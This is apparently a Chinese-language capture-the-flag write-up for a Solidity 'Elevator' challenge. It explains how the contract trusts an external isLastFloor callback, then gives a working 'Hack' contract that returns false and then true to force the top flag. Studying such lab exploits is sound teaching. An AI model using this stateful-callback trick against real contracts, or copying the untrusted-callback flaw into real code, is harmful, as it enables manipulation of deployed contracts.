// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor); // 在設置樓層後再次檢查是否為頂樓
}
}
}
Elevator
合約依賴外部的 Building
合約來決定當前的樓層是否為最後一層(頂樓),通過 isLastFloor
函數來判斷。goTo
函數中,Elevator
會根據 isLastFloor
函數的回傳值來設置樓層和頂樓狀態。如果我們可以操控 isLastFloor
的回傳值,我們可以欺騙合約,讓它認為我們已經到達了頂樓。我們可以創建一個合約,然後這個合約會:
Building
接口中的 isLastFloor
函數。isLastFloor
時回傳 false
,允許 Elevator
更新樓層;第二次呼叫時則回傳 true
,讓合約設置 top
為 true
。Hack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint256 _floor) external;
function top() external view returns (bool);
}
contract Hack {
IElevator private immutable target; // 目標 Elevator 合約的引用
uint256 private count; // 計數器,用來操控 isLastFloor 的回傳值
constructor(address _target) {
target = IElevator(_target);
}
// 攻擊函數
function pwn() external {
target.goTo(1); // 呼叫目標合約,將電梯移動到第一層
require(target.top(), "not top"); // 確認是否已經到達頂樓
}
// 欺騙 Elevator 合約的邏輯
function isLastFloor(uint256) external returns (bool) {
count++;
return count > 1; // 第一次回傳 false,第二次回傳 true
}
}
Hack
合約部署時,傳入目標 Elevator
合約的地址。pwn()
函數,這個函數會觸發目標合約的 goTo()
函數,將樓層設置為 1。Elevator
:當 goTo()
呼叫 isLastFloor()
時,第一次回傳 false
讓樓層更新,第二次回傳 true
來設置 top
狀態為 true
。pwn()
函數中的 require()
驗證目標合約的 top
狀態是否為 true
,確認攻擊成功。
goTo()
函數中會呼叫兩次isLastFloor()
。我們的策略是讓第一次呼叫回傳false
來更新樓層,然後讓第二次呼叫回傳true
來設置top
為true
,從而達到欺騙合約的目的。